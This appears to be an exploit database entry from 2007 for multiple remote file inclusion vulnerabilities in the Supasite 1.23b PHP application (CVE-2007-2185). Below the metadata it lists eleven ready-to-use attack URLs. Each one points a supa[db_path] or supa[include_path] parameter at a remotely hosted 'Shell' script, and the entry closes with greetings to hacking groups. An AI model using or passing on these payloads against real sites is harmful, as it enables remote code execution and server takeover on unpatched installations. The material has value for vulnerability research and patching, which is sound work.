Supasite 1.23b - Multiple Remote File Inclusions

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-04-20 
date_updated: 2016-09-30 
verified: 1 
codes: OSVDB-38855;CVE-2007-2185;OSVDB-38854;OSVDB-38853;OSVDB-38852;OSVDB-38851;OSVDB-38850;OSVDB-38849;OSVDB-38848;OSVDB-38847;OSVDB-38846;OSVDB-38845 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsupasite1.23b.tar.gz

# Supasite v1.23b <= Multiple Remote File Include Vulnerablitiy
# D.Script: http://belnet.dl.sourceforge.net/sourceforge/supasite/supasite1.23b.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/supasite/common_functions.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_auth_cookies.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_mods.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_news.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_settings.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/admin_topics.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_users.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_utilities.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/backend_site.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/site_comment.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/site_news.php?supa[db_path]=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-21]